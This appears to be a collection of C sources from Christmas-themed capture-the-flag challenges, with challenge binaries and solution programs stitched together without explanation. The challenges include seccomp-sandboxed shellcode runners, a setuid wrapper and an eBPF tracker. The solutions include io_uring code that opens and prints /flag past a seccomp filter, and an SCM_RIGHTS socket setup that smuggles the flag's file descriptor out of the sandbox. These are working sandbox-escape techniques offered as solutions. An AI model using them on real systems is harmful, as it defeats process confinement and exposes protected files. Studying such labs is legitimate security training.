#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char gift[256];

void wrap(char *gift, size_t size)
{
    fprintf(stdout, "Wrapping gift: [          ] 0%%");
    for (int i = 0; i < size; i++) {
        sleep(1);
        gift[i] = "#####\n"[i % 6];
        int progress = (i + 1) * 100 / size;
        int bars = progress / 10;
        fprintf(stdout, "\rWrapping gift: [");
        for (int j = 0; j < 10; j++) {
            fputc(j < bars ? '=' : ' ', stdout);
        }
        fprintf(stdout, "] %d%%", progress);
        fflush(stdout);
    }
    fprintf(stdout, "\n🎁 Gift wrapped successfully!\n\n");
}

void sigtstp_handler(int signum)
{
    puts("🎅 Santa won't stop!");
}

int main(int argc, char **argv, char **envp)
{
    uid_t ruid, euid, suid;

    if (getresuid(&ruid, &euid, &suid) == -1) {
        perror("getresuid");
        return 1;
    }

    if (euid != 0) {
        fprintf(stderr, "❌ Error: Santa must wrap as root!\n");
        return 1;
    }

    if (ruid != 0) {
        if (setreuid(0, -1) == -1) {
            perror("setreuid");
            return 1;
        }

        fprintf(stdout, "🦌 Now, Dasher! now, Dancer! now, Prancer and Vixen!\nOn, Comet! on Cupid! on, Donder and Blitzen!\n\n");
        execve("/proc/self/exe", argv, envp);

        perror("execve");
        return 127;
    }

    if (signal(SIGTSTP, sigtstp_handler) == SIG_ERR) {
        perror("signal");
        return 1;
    }

    int fd = open("/flag", O_RDONLY);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    int count = read(fd, gift, sizeof(gift));
    if (count == -1) {
        perror("read");
        return 1;
    }

    wrap(gift, count);

    puts("🎄 Merry Christmas!\n");
    puts(gift);

    return 0;
}

#define _GNU_SOURCE
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <stdbool.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>

static volatile sig_atomic_t stop;

static void handle_sigint(int sig)
{
    (void)sig;
    stop = 1;
}

static int libbpf_print_fn(enum libbpf_print_level level,
                           const char *fmt, va_list args)
{
    return vfprintf(stderr, fmt, args);
}

static void broadcast_cheer(void)
{
    libbpf_set_print(libbpf_print_fn);
    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);

    DIR *d = opendir("/dev/pts");
    struct dirent *de;
    char path[64];
    char flag[256];
    char banner[512];
    ssize_t n;

    if (!d)
        return;

    int ffd = open("/flag", O_RDONLY | O_CLOEXEC);
    if (ffd >= 0) {
        n = read(ffd, flag, sizeof(flag) - 1);
        if (n >= 0)
            flag[n] = '\0';
        close(ffd);
    } else {
        strcpy(flag, "no-flag\n");
    }

    snprintf(
        banner,
        sizeof(banner),
        "🎅 🎄 🎁 \x1b[1;31mHo Ho Ho\x1b[0m, \x1b[1;32mMerry Christmas!\x1b[0m\n"
        "%s",
        flag);

    while ((de = readdir(d)) != NULL) {
        const char *name = de->d_name;
        size_t len = strlen(name);
        bool all_digits = true;

        if (len == 0 || name[0] == '.')
            continue;
        if (strcmp(name, "ptmx") == 0)
            continue;

        for (size_t i = 0; i < len; i++) {
            if (!isdigit((unsigned char)name[i])) {
                all_digits = false;
                break;
            }
        }
        if (!all_digits)
            continue;

        snprintf(path, sizeof(path), "/dev/pts/%s", name);
        int fd = open(path, O_WRONLY | O_NOCTTY | O_CLOEXEC);
        if (fd < 0)
            continue;
        write(fd, "\x1b[2J\x1b[H", 7);
        write(fd, banner, strlen(banner));
        close(fd);
    }

    closedir(d);
}

int main(void)
{
    struct bpf_object *obj = NULL;
    struct bpf_program *prog = NULL;
    struct bpf_link *link = NULL;
    struct bpf_map *success = NULL;
    int map_fd;
    __u32 key0 = 0;
    int err;
    int should_broadcast = 0;

    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
    setvbuf(stdout, NULL, _IONBF, 0);

    obj = bpf_object__open_file("/challenge/tracker.bpf.o", NULL);
    if (!obj) {
        fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
        return 1;
    }

    err = bpf_object__load(obj);
    if (err) {
        fprintf(stderr, "Failed to load BPF object: %s\n", strerror(-err));
        goto cleanup;
    }

    prog = bpf_object__find_program_by_name(obj, "handle_do_linkat");
    if (!prog) {
        fprintf(stderr, "Could not find BPF program handle_do_linkat\n");
        goto cleanup;
    }

    link = bpf_program__attach_kprobe(prog, false, "__x64_sys_linkat");
    if (!link) {
        fprintf(stderr, "Failed to attach kprobe __x64_sys_linkat: %s\n", strerror(errno));
        goto cleanup;
    }

    signal(SIGINT, handle_sigint);
    signal(SIGTERM, handle_sigint);

    success = bpf_object__find_map_by_name(obj, "success");
    if (!success) {
        fprintf(stderr, "Failed to find success map\n");
        goto cleanup;
    }
    map_fd = bpf_map__fd(success);

    printf("Attached. Press Ctrl-C to quit.\n");
    fflush(stdout);
    while (!stop) {
        __u32 v = 0;
        if (bpf_map_lookup_elem(map_fd, &key0, &v) == 0 && v != 0) {
            should_broadcast = 1;
            stop = 1;
            break;
        }
        usleep(100000);
    }

    if (should_broadcast) {
        printf("Ho Ho Ho\n");
        broadcast_cheer();
    }

cleanup:
    if (link)
        bpf_link__destroy(link);
    if (obj)
        bpf_object__close(obj);
    return err ? 1 : 0;
}

#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>

#define NORTH_POLE_ADDR (void *)0x1225000

int setup_sandbox()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
        perror("prctl(NO_NEW_PRIVS)");
        return 1;
    }

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_setup), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_enter), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_register), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
        perror("seccomp_rule_add");
        return 1;
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        return 1;
    }

    seccomp_release(ctx);

    return 0;
}

int main()
{
    void *code = mmap(NORTH_POLE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (code != NORTH_POLE_ADDR) {
        perror("mmap");
        return 1;
    }

    srand(time(NULL));
    int offset = (rand() % 100) + 1;

    puts("🛷 Loading cargo: please stow your sled at the front.");

    if (read(STDIN_FILENO, code, 0x1000) < 0) {
        perror("read");
        return 1;
    }

    puts("📜 Checking Santa's naughty list... twice!");
    if (setup_sandbox() != 0) {
        perror("setup_sandbox");
        return 1;
    }

    // puts("❄️ Dashing through the snow!");
    ((void (*)())(code + offset))();

    // puts("🎅 Merry Christmas to all, and to all a good night!");
    return 0;
}

#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <stdlib.h>
#include <errno.h>

/* Define Page Size */
#define PAGE_SIZE 4096

static int ring_fd;
static struct io_uring_sqe *sqes;
static struct io_uring_cqe *cqes;

static uint32_t *sq_tail, *sq_head, *sq_mask;
static uint32_t *cq_tail, *cq_head, *cq_mask;

static inline int enter_syscall(int to_submit, int min_complete) {
    return syscall(__NR_io_uring_enter, ring_fd,
                   to_submit, min_complete,
                   IORING_ENTER_GETEVENTS, NULL, 0);
}

/* setup accepts pointers to the pre-allocated stack memory */
static void setup(void *rings_ptr, void *sqes_ptr) {
    struct io_uring_params p = {0};

    p.sq_entries = 1;
    p.cq_entries = 1;
    p.flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY;

    /* Tell kernel where the memory is */
    p.cq_off.user_addr = (uint64_t)(unsigned long)rings_ptr;
    p.sq_off.user_addr = (uint64_t)(unsigned long)sqes_ptr;

    ring_fd = syscall(__NR_io_uring_setup, 8, &p);
    if (ring_fd < 0) {
        perror("io_uring_setup");
        exit(1);
    }

    /* SQEs: user-provided sqes_ptr */
    sqes = (struct io_uring_sqe *)sqes_ptr;

    /* Map offsets to our stack buffer */
    void *ring_base = rings_ptr;
    sq_head = (uint32_t *)((char *)ring_base + p.sq_off.head);
    sq_tail = (uint32_t *)((char *)ring_base + p.sq_off.tail);
    sq_mask = (uint32_t *)((char *)ring_base + p.sq_off.ring_mask);

    cq_head = (uint32_t *)((char *)ring_base + p.cq_off.head);
    cq_tail = (uint32_t *)((char *)ring_base + p.cq_off.tail);
    cq_mask = (uint32_t *)((char *)ring_base + p.cq_off.ring_mask);
    cqes = (struct io_uring_cqe *)((char *)ring_base + p.cq_off.cqes);
}

static int submit_sqe(struct io_uring_sqe *sqe) {
    uint32_t t = *sq_tail;
    uint32_t idx = t & *sq_mask;
    printf("[*] submit_sqe: %d\n", idx);

    memcpy(&sqes[idx], sqe, sizeof(*sqe));
    *sq_tail = t + 1;

    if (enter_syscall(1, 1) < 0) { perror("enter"); _exit(1); }

    while (*cq_head == *cq_tail) ;
    uint32_t cidx = *cq_head & *cq_mask;
    int res = cqes[cidx].res;
    (*cq_head)++;

    return res;
}

int main() {
    /* 1. Allocate on Stack 
       2. Use __attribute__((aligned(PAGE_SIZE)))
       3. Zero out memory (mmap does this automatically, stack does not)
    */
    uint8_t rings_stack[PAGE_SIZE] __attribute__((aligned(PAGE_SIZE)));
    uint8_t sqes_stack[PAGE_SIZE] __attribute__((aligned(PAGE_SIZE)));

    memset(rings_stack, 0, PAGE_SIZE);
    memset(sqes_stack, 0, PAGE_SIZE);

    /* Pass stack addresses to setup */
    setup(rings_stack, sqes_stack);

    char path[] = "/flag";
    char buf[4096];

    struct io_uring_sqe sqe;
    memset(&sqe, 0, sizeof(sqe));
    sqe.opcode = IORING_OP_OPENAT;
    sqe.fd = AT_FDCWD;
    sqe.addr = (unsigned long)path;
    sqe.open_flags = O_RDONLY;

    int fd = submit_sqe(&sqe);
    if (fd < 0) {
        write(2, "open failed\n", 12);
        return 1;
    }
    printf("[*] File opened with fd: %x\n", fd);

    memset(&sqe, 0, sizeof(sqe));
    sqe.opcode = IORING_OP_READ;
    sqe.fd = fd;
    sqe.addr = (unsigned long)buf;
    sqe.len = sizeof(buf);

    int r = submit_sqe(&sqe);
    if (r < 0) {
        write(2, "read failed\n", 12);
        return 1;
    }

    memset(&sqe, 0, sizeof(sqe));
    sqe.opcode = IORING_OP_WRITE;
    sqe.fd = 1;
    sqe.addr = (unsigned long)buf;
    sqe.len = r;

    submit_sqe(&sqe);

    return 0;
}

printf("offsetof(struct io_uring_sqe, len): %d\n", offsetof(struct io_uring_sqe, len));

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stddef.h>

int main() {
    int ring_fd;
    struct io_uring_sqe *sqes;
    struct io_uring_cqe *cqes;

    uint32_t *sq_tail;
    uint32_t *cq_head;

    uint8_t rings_stack[4096] __attribute__((aligned(4096)));
    uint8_t sqes_stack[4096] __attribute__((aligned(4096)));

    memset(rings_stack, 0, 4096);
    memset(sqes_stack, 0, 4096);

    struct io_uring_params p = {0};
    char *p_ptr = (char *)&p;

    *((uint32_t*)(p_ptr + 0x0)) = 8;
    *((uint32_t*)(p_ptr + 0x4)) = 8;
    *((uint32_t*)(p_ptr + 0x8)) = 0x14000;
    *((uint64_t*)(p_ptr + 0x70)) = (uint64_t)rings_stack;
    *((uint64_t*)(p_ptr + 0x48)) = (uint64_t)sqes_stack;

    ring_fd = syscall(__NR_io_uring_setup, 8, &p);

    sqes = (struct io_uring_sqe *)sqes_stack;
    sq_tail = (uint32_t *)((char *)rings_stack + 4);            // p.sq_off.tail
    cqes = (struct io_uring_cqe *)((char *)rings_stack + 64);   // p.cq_off.cqes
    cq_head = (uint32_t *)((char *)rings_stack + 8);            // p.cq_off.head

    char path[] = "/flag";
    char buf[4096];

    struct io_uring_sqe sqe;
    memset(&sqe, 0, sizeof(sqe));
    char *sqe_ptr = (char *)&sqe;

    *((__u8 *)(sqe_ptr + 0)) = 18;                              // IORING_OP_OPENAT
    *((__s32 *)(sqe_ptr + 4)) = -100;                           // AT_FDCWD
    *((unsigned long *)(sqe_ptr + 16)) = (unsigned long)path;
    *((__u32 *)(sqe_ptr + 28)) = 0;                             // O_RDONLY;

    memcpy(&sqes[0], &sqe, sizeof(sqe));
    (*sq_tail)++;
    syscall(__NR_io_uring_enter, ring_fd, 1, 1, 1, NULL, 0);
    (*cq_head)++;

    int fd = cqes[0].res;
    printf("fd: %d\n", fd);

    memset(&sqe, 0, sizeof(sqe));
    *((__u8 *)(sqe_ptr + 0)) = 22;                              //IORING_OP_READ;
    *((__s32 *)(sqe_ptr + 4)) = fd;
    *((unsigned long *)(sqe_ptr + 16)) = (unsigned long)buf;
    *((unsigned long *)(sqe_ptr + 24)) = sizeof(buf);

    memcpy(&sqes[1], &sqe, sizeof(sqe));
    (*sq_tail)++;
    syscall(__NR_io_uring_enter, ring_fd, 1, 1, 1, NULL, 0);
    (*cq_head)++;

    int r = cqes[1].res;
    printf("read: %d\n", r);

    memset(&sqe, 0, sizeof(sqe));
    *((__u8 *)(sqe_ptr + 0)) = 23;                              // IORING_OP_WRITE;
    *((__s32 *)(sqe_ptr + 4)) = 1;
    *((unsigned long *)(sqe_ptr + 16)) = (unsigned long)buf;
    *((unsigned long *)(sqe_ptr + 24)) = r;

    memcpy(&sqes[2], &sqe, sizeof(sqe));
    (*sq_tail)++;
    syscall(__NR_io_uring_enter, ring_fd, 1, 1, 1, NULL, 0);
    (*cq_head)++;

    return 0;
}

$ cat /challenge/templates/teddy.c.j2
/* Teddy Bear */
#include <stdio.h>
#include <string.h>

int main(void) {
    char note[80];

    setbuf(stdout, NULL);
    puts("soft hug!");

    printf("teddy keeps this secret: %s\n", "");
    printf("share a feeling (%s):\n", "");

    if (!fgets(note, sizeof(note), stdin)) return 0;

    size_t len = strlen(note);
    if (len > 0 && note[len - 1] == '\n') note[len - 1] = 0;

    printf("teddy repeats back: %s\n", note);
    printf("letters counted: %zu\n", strlen(note));
    return 0;
}

pci_config_set_vendor_id(pdev->config, 0x1337);
pci_config_set_device_id(pdev->config, 0x1225);

static uint64_t pypu_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
    PypuPCIState *state = opaque;

    if (addr == 0x00 && size == 4) {
        return 0x50595055ull; /* "PYPU" */
    }
	[..]

#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>

#define SANTA_FREQ_ADDR (void *)0x1225000

int setup_sandbox()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
        perror("prctl(NO_NEW_PRIVS)");
        return 1;
    }

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
        perror("seccomp_rule_add");
        return 1;
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        return 1;
    }

    seccomp_release(ctx);

    return 0;
}

int main(int argc, char *argv[])
{
    puts("📡 Tuning to Santa's reserved frequency...");
    void *code = mmap(SANTA_FREQ_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (code != SANTA_FREQ_ADDR) {
        perror("mmap");
        return 1;
    }

    puts("💾 Loading incoming elf firmware packet...");
    if (read(0, code, 0x1000) < 0) {
        perror("read");
        return 1;
    }

    puts("🧝 Protecting station from South Pole elfs...");
    if (setup_sandbox() != 0) {
        perror("setup_sandbox");
        return 1;
    }

    // puts("🎙️ Beginning uplink communication...");
    ((void (*)())(code))();

    // puts("❄️ Uplink session ended.");
    return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>

#define SOCKET_PATH "./socket_path"

int main() {
    int listen_sfd, client_sfd, received_fd = -1;
    struct sockaddr_un addr;
    struct msghdr msg = {0};
    struct iovec iov[1];
    char data_buf[100];
    char control_buf[CMSG_SPACE(sizeof(int))];      // Buffer for SCM_RIGHTS

    // Create a socket and bind it to a file path
    listen_sfd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (listen_sfd == -1) {
        perror("[Client] socket");
        return 1;
    }

    // Ensure the socket file doesn't exist from a previous run
    unlink(SOCKET_PATH); 

    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (bind(listen_sfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
        perror("[Client] bind");
        close(listen_sfd);
        return 1;
    }
    printf("[Client] Listening on socket: %s\n", SOCKET_PATH);

    // Listen and wait for the exploited program (Server) to connect
    if (listen(listen_sfd, 5) == -1) {
        perror("[Client] listen");
        close(listen_sfd);
        return 1;
    }

    client_sfd = accept(listen_sfd, NULL, NULL);
    if (client_sfd == -1) {
        perror("[Client] accept");
        close(listen_sfd);
        return 1;
    }
    close(listen_sfd); // Done listening
    printf("[Client] Server connected. Preparing to receive FD.\n");

    // Setup iovec (to receive dummy data)
    iov[0].iov_base = data_buf;
    iov[0].iov_len = sizeof(data_buf);

    // Setup msghdr for receiving
    msg.msg_iov = iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control_buf;
    msg.msg_controllen = sizeof(control_buf);

    // Call recvmsg to receive the dummy data and the FD in ancillary data
    ssize_t n = recvmsg(client_sfd, &msg, 0);
    if (n < 0) {
        perror("[Client] recvmsg");
        close(client_sfd);
        return 1;
    }
    printf("[Client] Received %zd bytes of dummy data.\n", n);

    // Check the ancillary data for the file descriptor
    struct cmsghdr *cmsg;
    for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL; cmsg = CMSG_NXTHDR(&msg, cmsg)) {
        if (cmsg->cmsg_level == SOL_SOCKET && cmsg->cmsg_type == SCM_RIGHTS) {
            // Found the transferred FD!
            received_fd = *(int *)CMSG_DATA(cmsg);
            printf("[Client] SUCCESSFULLY RECEIVED FILE DESCRIPTOR: %d\n", received_fd);
            break;
        }
    }

    if (received_fd == -1) {
        printf("[Client] FAILED to find SCM_RIGHTS data.\n");
        close(client_sfd);
        return 1;
    }

    // Use the received FD to read the file contents directly
    char flag_contents[100];
    ssize_t flag_n = read(received_fd, flag_contents, sizeof(flag_contents) - 1);

    if (flag_n > 0) {
        flag_contents[flag_n] = '\0';
        printf("File contents: %s\n", flag_contents);
    } else {
        perror("[Client] Final read failed");
    }

    // Cleanup
    close(received_fd);
    close(client_sfd);
    unlink(SOCKET_PATH);

    return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>

#define SOCKET_PATH "./socket_path"
#define FLAG_FILE "/flag"

int main(int argc, char *argv[]) {
    int sfd = 3, flag_fd;
    struct sockaddr_un addr;
    struct msghdr msg = {0};
    struct iovec iov[1];
    char control_buf[CMSG_SPACE(sizeof(int))];  // Buffer for SCM_RIGHTS
    char data_buf[] = "Sending FD";             // Dummy data required for sendmsg

    // Open the file we want to "leak"
    flag_fd = open(FLAG_FILE, O_RDONLY);
    if (flag_fd < 0) {
        perror("[Server] open");
        return 1;
    }
    printf("[Server] Opened flag file. FD: %d\n", flag_fd);
    // Setup iovec
    iov[0].iov_base = data_buf;
    iov[0].iov_len = sizeof(data_buf);

    // Setup msghdr
    msg.msg_iov = iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control_buf;
    msg.msg_controllen = sizeof(control_buf);

    // Setup cmsghdr to use SCM_RIGHTS
    struct cmsghdr *cmsg;
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    *((int *)CMSG_DATA(cmsg)) = flag_fd; // Attach the file descriptor

    msg.msg_controllen = cmsg->cmsg_len;

    // Send the message with the FD inside the ancillary data
    printf("[Server] Sending flag FD %d via sendmsg...\n", flag_fd);
    if (sendmsg(sfd, &msg, 0) == -1) {
        perror("[Server] sendmsg");
        close(sfd);
        close(flag_fd);
        return 1;
    }

    printf("[Server] Successfully sent file descriptor.\n");
    close(sfd);
    close(flag_fd);
    return 0;
}

#include <sys/socket.h>
#include <fcntl.h>
#include <sys/un.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    const char *sockpath = "./socket_path";
    int s = socket(AF_UNIX, SOCK_STREAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    struct sockaddr_un addr;
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, sockpath, sizeof(addr.sun_path)-1);

    if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        perror("connect");
        close(s);
        return 1;
    }

    // Put connected socket at FD 3
    if (dup2(s, 3) < 0) { perror("dup2"); close(s); return 1; }

    // Optionally close original if different
    if (s != 3) close(s);

    // --- To run the challenge with input from fifo
    // Redirect input from the fifo where the python wrapper writes
    //int fd_fifo = open("/home/hacker/my_fifo_stdin", O_RDONLY);
    //if (fd_fifo < 0) { perror("open fifo"); return 1; }

    // Redirect stdin to the FIFO
    //if (dup2(fd_fifo, 0) < 0) { perror("dup2 stdin"); return 1; }
    //close(fd_fifo);
    // ----

    // Exec the binary
    char *newargv[] = { "/home/hacker/relay-server", NULL };
    //char *newargv[] = { "/challenge/northpole-relay", NULL };
    execv(newargv[0], newargv);
    perror("execv");
    return 1;
}